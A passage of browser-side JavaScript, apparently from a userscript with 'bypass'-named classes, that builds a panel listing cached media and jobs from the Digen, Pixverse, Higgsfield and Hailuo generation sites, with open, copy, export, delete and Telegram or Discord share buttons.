if (!IS_PIXVERSE_DOMAIN && !IS_DIGEN_DOMAIN && !IS_GROK_DOMAIN && !IS_HIGGSFIELD_DOMAIN && !IS_HAILUO_DOMAIN && taskStats.total) {
const badge = document.createElement('span');
badge.style.cssText = 'margin-left: 6px; background: rgba(99,102,241,0.2); color: #cbd5e1; padding: 2px 6px; border-radius: 999px; font-size: 10px;';
badge.textContent = `${taskStats.queued + taskStats.inProgress}`;
tasksTabBtn.appendChild(badge);
}
// Services badge: show count of services needing updates
if (!IS_PIXVERSE_DOMAIN && !IS_DIGEN_DOMAIN && !IS_GROK_DOMAIN && !IS_HIGGSFIELD_DOMAIN && !IS_HAILUO_DOMAIN && shouldShowServicesTab(remoteConfig)) {
try {
const services = getEnabledRemoteServices(remoteConfig);
const count = services.filter(s => getServiceUpdateState(s).updateAvailable).length;
if (count > 0) {
const badge = document.createElement('span');
badge.style.cssText = 'margin-left: 6px; background: rgba(245,158,11,0.18); color: #fde68a; padding: 2px 6px; border-radius: 999px; font-size: 10px; font-weight: 800;';
badge.textContent = String(count);
servicesTabBtn.appendChild(badge);
}
} catch {
// ignore
}
}
// Content - cache existing home tab to avoid reloads
const existingContent = container.querySelector('.bypass-content');
if (existingContent) {
const existingTabKey = existingContent.getAttribute('data-bypass-tab');
if (existingTabKey) {
tabScrollPositions[existingTabKey] = existingContent.scrollTop;
}
const tabKey = existingContent.getAttribute('data-bypass-tab');
if (tabKey === 'home') {
tabContentCache.set('home', existingContent);
}
existingContent.remove();
}
if (renderToken !== uiRenderToken) return;
let content = null;
const viewItemsForKey = currentTab === 'home' ? getItemsForCurrentAccount() : itemsData;
const itemsKey = getItemsKey(viewItemsForKey);
const cachedHome = currentTab === 'home' ? tabContentCache.get('home') : null;
let usedCachedHome = false;
if (cachedHome && cachedHome.getAttribute('data-bypass-items-key') === itemsKey) {
content = cachedHome;
usedCachedHome = true;
} else {
content = document.createElement('div');
content.className = 'bypass-content';
content.setAttribute('data-bypass-tab', currentTab);
if (currentTab === 'home') {
content.setAttribute('data-bypass-items-key', itemsKey);
}
}
content.setAttribute('data-bypass-tab', currentTab);
if (!content.dataset.bypassScrollListenerAttached) {
content.addEventListener('scroll', () => {
const tabKey = content.getAttribute('data-bypass-tab') || currentTab;
tabScrollPositions[tabKey] = content.scrollTop;
}, { passive: true });
content.dataset.bypassScrollListenerAttached = '1';
}
if (currentTab === 'home') {
if (IS_DIGEN_DOMAIN) {
const jobs = await getDigenJobsForUi();
const header = document.createElement('div');
header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(56,189,248,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(2,132,199,0.16), rgba(14,116,144,0.10));';
header.innerHTML = `<div style="font-size:12px;color:#dbeafe;"><i class="fas fa-database" style="margin-right:6px;color:#67e8f9;"></i><strong>${jobs.length}</strong> cached Digen item(s)</div>`;
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
exportBtn.onclick = async () => {
try {
await exportDigenJobsToJson();
} catch (err) {
addDigenUiLog('error', 'Failed to export Digen jobs', { error: String(err?.message || err) });
showToast('Failed to export Digen items', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
showConfirmDialog('Clear Digen items cache from IndexedDB?', async () => {
await digenJobs.clear();
addDigenUiLog('success', 'Cleared all Digen jobs');
updateUI();
});
};
actions.appendChild(refreshBtn);
actions.appendChild(exportBtn);
actions.appendChild(clearBtn);
header.appendChild(actions);
content.appendChild(header);
if (!jobs.length) {
const empty = document.createElement('div');
empty.className = 'bypass-empty-state';
empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Digen items captured yet. Generate/check queue items and they will appear here.</div>';
content.appendChild(empty);
} else {
const list = document.createElement('div');
list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
jobs.forEach((job) => {
const thumb = job?.thumbnail || job?.resource_urls?.[0]?.thumbnail || '';
const videoUrl = job?.videoUrl || job?.resource_urls?.[0]?.videoUrl || '';
const imageUrl = job?.image || job?.resource_urls?.[0]?.image || '';
const finalUrl = videoUrl || imageUrl || thumb || '';
const isVideo = !!videoUrl;
const card = document.createElement('div');
card.style.cssText = 'border:1px solid rgba(56,189,248,0.35); border-radius:12px; background:rgba(15,23,42,0.40); padding:10px; display:flex; flex-direction:column; gap:8px;';
const preview = finalUrl
? (isVideo
? `<video src="${escapeHtml(finalUrl)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
: `<img src="${escapeHtml(finalUrl)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`)
: '<div style="height:120px;display:flex;align-items:center;justify-content:center;border-radius:8px;background:#0f172a;color:#64748b;"><i class="fas fa-image"></i></div>';
card.innerHTML = `
${preview}
<div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas ${isVideo ? 'fa-video' : 'fa-image'}"></i> ${isVideo ? 'Video' : 'Image'} • ID ${escapeHtml(String(job?.id ?? 'N/A'))}</div>
<div style="font-size:11px;color:#94a3b8;">Status: ${escapeHtml(String(job?.status ?? 'N/A'))}</div>
<div style="font-size:11px;color:#94a3b8;">Created: ${escapeHtml(new Date(job?.createdAtTimestamp || job?.createdAt || Date.now()).toLocaleString())}</div>
`;
const buttons = document.createElement('div');
buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const openBtn = document.createElement('button');
openBtn.className = 'bypass-btn bypass-btn-secondary';
openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
openBtn.disabled = !finalUrl;
openBtn.onclick = () => { if (finalUrl) window.open(finalUrl, '_blank'); };
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
copyBtn.disabled = !finalUrl;
copyBtn.onclick = async () => {
if (!finalUrl) return;
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(finalUrl);
showToast('Copied Digen URL', 'success');
};
buttons.appendChild(openBtn);
buttons.appendChild(copyBtn);
if (settings.telegramEnabled && settings.telegramToken && settings.telegramChatId) {
const tgBtn = document.createElement('button');
tgBtn.className = 'bypass-btn bypass-btn-primary';
tgBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
tgBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
tgBtn.disabled = !finalUrl;
tgBtn.onclick = async () => {
if (!finalUrl) return;
try {
addDigenUiLog('info', 'Sending item to Telegram', { id: job?.id || null });
const result = await sendToTelegram(finalUrl, isVideo ? 'video/mp4' : 'image/png', job?.id || null, job?.createdAtTimestamp || job?.createdAt || Date.now(), '', job?.id || null, {
platform: 'digen',
source: 'floating-items'
});
if (result?.ok) {
addDigenUiLog('success', 'Sent item to Telegram', { id: job?.id || null, mode: result.mode || 'unknown' });
showToast('Sent to Telegram', 'success');
} else {
addDigenUiLog('error', 'Failed sending item to Telegram', { id: job?.id || null, error: result?.error || 'unknown error' });
showToast(result?.error || 'Telegram send failed', 'error');
}
} catch (err) {
addDigenUiLog('error', 'Telegram send exception', { id: job?.id || null, error: String(err?.message || err) });
showToast('Telegram send failed', 'error');
}
};
buttons.appendChild(tgBtn);
}
if (settings.discordEnabled && settings.discordWebhook) {
const dcBtn = document.createElement('button');
dcBtn.className = 'bypass-btn bypass-btn-secondary';
dcBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
dcBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
dcBtn.disabled = !finalUrl;
dcBtn.onclick = async () => {
if (!finalUrl) return;
try {
addDigenUiLog('info', 'Sending item to Discord', { id: job?.id || null });
const result = await sendToDiscord(finalUrl, isVideo ? 'video/mp4' : 'image/png', job?.id || null, job?.createdAtTimestamp || job?.createdAt || Date.now(), '', job?.id || null, {
platform: 'digen',
source: 'floating-items'
});
if (result?.ok) {
addDigenUiLog('success', 'Sent item to Discord', { id: job?.id || null, mode: result.mode || 'unknown' });
showToast('Sent to Discord', 'success');
} else {
addDigenUiLog('error', 'Failed sending item to Discord', { id: job?.id || null, error: result?.error || 'unknown error' });
showToast(result?.error || 'Discord send failed', 'error');
}
} catch (err) {
addDigenUiLog('error', 'Discord send exception', { id: job?.id || null, error: String(err?.message || err) });
showToast('Discord send failed', 'error');
}
};
buttons.appendChild(dcBtn);
}
card.appendChild(buttons);
list.appendChild(card);
});
content.appendChild(list);
}
} else if (IS_PIXVERSE_DOMAIN) {
const entries = getPixverseMediaEntries();
const header = document.createElement('div');
header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas fa-database" style="margin-right:6px;color:#6366f1;"></i><strong>${entries.length}</strong> cached Pixverse media link(s)</div>`;
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
showConfirmDialog('Clear Pixverse cached media links?', () => {
savePixverseMediaCache({});
updateUI();
});
};
actions.appendChild(refreshBtn);
actions.appendChild(clearBtn);
header.appendChild(actions);
content.appendChild(header);
if (!entries.length) {
const empty = document.createElement('div');
empty.className = 'bypass-empty-state';
empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Pixverse media cached yet. Start generating/downloading and links will appear here.</div>';
content.appendChild(empty);
} else {
const list = document.createElement('div');
list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
entries.forEach((entry) => {
const card = document.createElement('div');
card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
const isVideo = String(entry.mediaType || '').toLowerCase() === 'video';
const preview = isVideo
? `<video src="${escapeHtml(entry.url)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
: `<img src="${escapeHtml(entry.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`;
card.innerHTML = `
${preview}
<div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
<div style="font-size:11px;color:#94a3b8;">Task: ${escapeHtml(String(entry.taskId || 'N/A'))}</div>
<div style="font-size:11px;color:#94a3b8;">Updated: ${escapeHtml(new Date(Number(entry.updatedAt || Date.now())).toLocaleString())}</div>
<div style="font-family:'Courier New',monospace;font-size:11px;word-break:break-all;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;"><a href="${escapeHtml(entry.url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(entry.url)}</a></div>
`;
const buttons = document.createElement('div');
buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const openBtn = document.createElement('button');
openBtn.className = 'bypass-btn bypass-btn-secondary';
openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
openBtn.onclick = () => window.open(entry.url, '_blank');
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
copyBtn.onclick = async () => {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.url);
showToast('Copied media URL', 'success');
};
buttons.appendChild(openBtn);
buttons.appendChild(copyBtn);
if (settings.telegramEnabled && settings.telegramToken && settings.telegramChatId) {
const tgBtn = document.createElement('button');
tgBtn.className = 'bypass-btn bypass-btn-primary';
tgBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
tgBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
tgBtn.onclick = async () => {
try {
addPixverseUiLog('info', 'Sending media to Telegram', { id: entry.id || null, taskId: entry.taskId || null });
const result = await sendToTelegram(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.taskId || entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
platform: 'pixverse',
source: 'floating-items'
});
if (result?.ok) {
addPixverseUiLog('success', 'Sent media to Telegram', { id: entry.id || null, mode: result.mode || 'unknown' });
showToast('Sent to Telegram', 'success');
} else {
addPixverseUiLog('error', 'Failed sending media to Telegram', { id: entry.id || null, error: result?.error || 'unknown error' });
showToast(result?.error || 'Telegram send failed', 'error');
}
} catch (err) {
addPixverseUiLog('error', 'Telegram send exception', { id: entry.id || null, error: String(err?.message || err) });
showToast('Telegram send failed', 'error');
}
};
buttons.appendChild(tgBtn);
}
if (settings.discordEnabled && settings.discordWebhook) {
const dcBtn = document.createElement('button');
dcBtn.className = 'bypass-btn bypass-btn-secondary';
dcBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
dcBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
dcBtn.onclick = async () => {
try {
addPixverseUiLog('info', 'Sending media to Discord', { id: entry.id || null, taskId: entry.taskId || null });
const result = await sendToDiscord(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.taskId || entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
platform: 'pixverse',
source: 'floating-items'
});
if (result?.ok) {
addPixverseUiLog('success', 'Sent media to Discord', { id: entry.id || null, mode: result.mode || 'unknown' });
showToast('Sent to Discord', 'success');
} else {
addPixverseUiLog('error', 'Failed sending media to Discord', { id: entry.id || null, error: result?.error || 'unknown error' });
showToast(result?.error || 'Discord send failed', 'error');
}
} catch (err) {
addPixverseUiLog('error', 'Discord send exception', { id: entry.id || null, error: String(err?.message || err) });
showToast('Discord send failed', 'error');
}
};
buttons.appendChild(dcBtn);
}
card.appendChild(buttons);
list.appendChild(card);
});
content.appendChild(list);
}
content.setAttribute('data-bypass-tab', 'home');
} else if (IS_HIGGSFIELD_DOMAIN) {
const jobs = await getHiggsfieldJobsForUi();
const souls = await getHiggsfieldSoulsForUi();
const makeSectionHeader = (icon, color, label, count, actions) => {
const header = document.createElement('div');
header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas ${icon}" style="margin-right:6px;color:${color};"></i><strong>${count}</strong> ${escapeHtml(label)}</div>`;
header.appendChild(actions);
return header;
};
const makeActionBar = (itemsKind) => {
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export';
exportBtn.onclick = () => {
if (itemsKind === 'jobs') {
exportHiggsfieldJobsToJson().catch(() => showToast('Failed to export Higgsfield jobs', 'error'));
} else {
exportHiggsfieldSoulsToJson().catch(() => showToast('Failed to export Higgsfield souls', 'error'));
}
};
const importBtn = document.createElement('button');
importBtn.className = 'bypass-btn bypass-btn-primary';
importBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
importBtn.innerHTML = '<i class="fas fa-file-import"></i> Import';
importBtn.onclick = () => importHiggsfieldItemsFromFile(itemsKind);
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
showConfirmDialog(`Clear Higgsfield ${itemsKind}?`, async () => {
if (itemsKind === 'jobs') await higgsfieldJobs.clear();
else await higgsfieldSouls.clear();
updateUI();
});
};
actions.appendChild(refreshBtn);
actions.appendChild(exportBtn);
actions.appendChild(importBtn);
actions.appendChild(clearBtn);
return actions;
};
const makeGrid = () => {
const list = document.createElement('div');
list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
return list;
};
const jobsHeader = makeSectionHeader('fa-clapperboard', '#60a5fa', 'captured Higgsfield job(s)', jobs.length, makeActionBar('jobs'));
content.appendChild(jobsHeader);
if (!jobs.length) {
const empty = document.createElement('div');
empty.className = 'bypass-empty-state';
empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Higgsfield jobs captured yet. Open your jobs/project pages and completed items will appear here.</div>';
content.appendChild(empty);
} else {
const jobsList = makeGrid();
jobs.forEach((entry) => {
const media = getHiggsfieldPrimaryResult(entry);
const isVideo = media.type === 'video';
const previewUrl = media.thumbnail_url || media.url || '';
const card = document.createElement('div');
card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
const preview = media.url
? (isVideo
? `<video src="${escapeHtml(media.url)}" poster="${escapeHtml(previewUrl)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
: `<img src="${escapeHtml(media.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`)
: '<div style="height:140px;display:flex;align-items:center;justify-content:center;border-radius:8px;background:#0f172a;color:#64748b;"><i class="fas fa-image"></i></div>';
card.innerHTML = `
${preview}
<div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
<div style="font-size:11px;color:#94a3b8;">Status: ${escapeHtml(String(media.job?.status || 'unknown'))}</div>
<div style="font-size:11px;color:#94a3b8;">Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}</div>
<div style="font-size:11px;color:#cbd5e1; white-space:pre-wrap; word-break:break-word;">${escapeHtml(String(entry?.params?.prompt || '').slice(0, 220) || 'No prompt stored')}</div>
`;
const buttons = document.createElement('div');
buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const openBtn = document.createElement('button');
openBtn.className = 'bypass-btn bypass-btn-secondary';
openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
openBtn.disabled = !media.url;
openBtn.onclick = () => { if (media.url) window.open(media.url, '_blank'); };
const previewBtn = document.createElement('button');
previewBtn.className = 'bypass-btn bypass-btn-secondary';
previewBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
previewBtn.innerHTML = '<i class="fas fa-expand"></i> Preview';
previewBtn.disabled = !media.url;
previewBtn.onclick = () => {
showHiggsfieldPreviewDialog({
title: `Higgsfield Job ${String(entry.id || '')}`,
mediaUrl: media.url,
thumbnailUrl: previewUrl,
mediaType: isVideo ? 'video' : 'image',
subtitle: `Status: ${String(media.job?.status || 'unknown')}`,
copyText: String(entry?.params?.prompt || ''),
copyLabel: 'Copy Prompt',
metaLines: [
`Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}`,
`Prompt: ${escapeHtml(String(entry?.params?.prompt || 'No prompt stored'))}`
]
});
};
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Prompt';
copyBtn.disabled = !entry?.params?.prompt;
copyBtn.onclick = async () => {
if (!entry?.params?.prompt) return;
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.params.prompt);
showToast('Copied Higgsfield prompt', 'success');
};
const deleteBtn = document.createElement('button');
deleteBtn.className = 'bypass-btn bypass-btn-danger';
deleteBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
deleteBtn.onclick = () => {
showConfirmDialog(`Delete Higgsfield job ${String(entry.id || '')}?`, async () => {
await deleteHiggsfieldJobById(entry.id);
showToast('Higgsfield job deleted', 'success');
updateUI();
});
};
buttons.appendChild(openBtn);
buttons.appendChild(previewBtn);
buttons.appendChild(copyBtn);
buttons.appendChild(deleteBtn);
card.appendChild(buttons);
jobsList.appendChild(card);
});
content.appendChild(jobsList);
}
const soulsHeader = makeSectionHeader('fa-face-smile', '#f59e0b', 'captured Higgsfield soul(s)', souls.length, makeActionBar('souls'));
soulsHeader.style.marginTop = '14px';
content.appendChild(soulsHeader);
if (!souls.length) {
const empty = document.createElement('div');
empty.className = 'bypass-empty-state';
empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-seedling"></i></div><div class="bypass-empty-text">No Higgsfield souls captured yet. Custom reference items will appear here when they are loaded.</div>';
content.appendChild(empty);
} else {
const soulsList = makeGrid();
souls.forEach((entry) => {
const card = document.createElement('div');
card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
const previewUrl = entry?.thumbnail_url || entry?.url || entry?.image || '';
card.innerHTML = `
${previewUrl ? `<img src="${escapeHtml(previewUrl)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />` : '<div style="height:140px;display:flex;align-items:center;justify-content:center;border-radius:8px;background:#0f172a;color:#64748b;"><i class="fas fa-user-astronaut"></i></div>'}
<div style="font-size:12px;color:#e2e8f0;font-weight:700;">${escapeHtml(String(entry.name || entry.id || 'Soul'))}</div>
<div style="font-size:11px;color:#94a3b8;">Status: ${escapeHtml(String(entry.status || 'unknown'))}</div>
<div style="font-size:11px;color:#94a3b8;">Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}</div>
`;
const buttons = document.createElement('div');
buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const openBtn = document.createElement('button');
openBtn.className = 'bypass-btn bypass-btn-secondary';
openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
openBtn.disabled = !previewUrl;
openBtn.onclick = () => { if (previewUrl) window.open(previewUrl, '_blank'); };
const previewBtn = document.createElement('button');
previewBtn.className = 'bypass-btn bypass-btn-secondary';
previewBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
previewBtn.innerHTML = '<i class="fas fa-expand"></i> Preview';
previewBtn.disabled = !previewUrl;
previewBtn.onclick = () => {
showHiggsfieldPreviewDialog({
title: `Higgsfield Soul ${String(entry.name || entry.id || '')}`,
mediaUrl: previewUrl,
thumbnailUrl: previewUrl,
mediaType: 'image',
subtitle: `Status: ${String(entry.status || 'unknown')}`,
copyText: String(entry.id || ''),
copyLabel: 'Copy ID',
metaLines: [
`Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}`,
`Name: ${escapeHtml(String(entry.name || entry.id || 'Soul'))}`
]
});
};
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy ID';
copyBtn.onclick = async () => {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(String(entry.id || ''));
showToast('Copied Higgsfield soul id', 'success');
};
const deleteBtn = document.createElement('button');
deleteBtn.className = 'bypass-btn bypass-btn-danger';
deleteBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
deleteBtn.onclick = () => {
showConfirmDialog(`Delete Higgsfield soul ${String(entry.name || entry.id || '')}?`, async () => {
await deleteHiggsfieldSoulById(entry.id);
showToast('Higgsfield soul deleted', 'success');
updateUI();
});
};
buttons.appendChild(openBtn);
buttons.appendChild(previewBtn);
buttons.appendChild(copyBtn);
buttons.appendChild(deleteBtn);
card.appendChild(buttons);
soulsList.appendChild(card);
});
content.appendChild(soulsList);
}
content.setAttribute('data-bypass-tab', 'home');
} else if (IS_HAILUO_DOMAIN) {
const entries = getHailuoMediaEntries();
const header = document.createElement('div');
header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas fa-database" style="margin-right:6px;color:#22c55e;"></i><strong>${entries.length}</strong> cached Hailuo media link(s)</div>`;
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export';
exportBtn.onclick = () => {
try {
exportHailuoMediaCacheToJson();
} catch {
showToast('Failed to export Hailuo items', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
showConfirmDialog('Clear Hailuo cached media links?', () => {
saveHailuoMediaCache({});
updateUI();
});
};
actions.appendChild(refreshBtn);
actions.appendChild(exportBtn);
actions.appendChild(clearBtn);
header.appendChild(actions);
content.appendChild(header);
if (!entries.length) {
const empty = document.createElement('div');
empty.className = 'bypass-empty-state';
empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Hailuo media captured yet. Browse your generated content and loaded previews will be cached here.</div>';
content.appendChild(empty);
} else {
const list = document.createElement('div');
list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
entries.forEach((entry) => {
const card = document.createElement('div');
card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
const isVideo = String(entry.mediaType || '').toLowerCase() === 'video';
const preview = isVideo
? `<video src="${escapeHtml(entry.url)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
: `<img src="${escapeHtml(entry.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`;
card.innerHTML = `
${preview}
<div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
<div style="font-size:11px;color:#94a3b8;">Source: ${escapeHtml(String(entry.source || 'hailuo'))}</div>
<div style="font-size:11px;color:#94a3b8;">Updated: ${escapeHtml(new Date(Number(entry.updatedAt || Date.now())).toLocaleString())}</div>
<div style="font-family:'Courier New',monospace;font-size:11px;word-break:break-all;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;"><a href="${escapeHtml(entry.url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(entry.url)}</a></div>
`;
const buttons = document.createElement('div');
buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
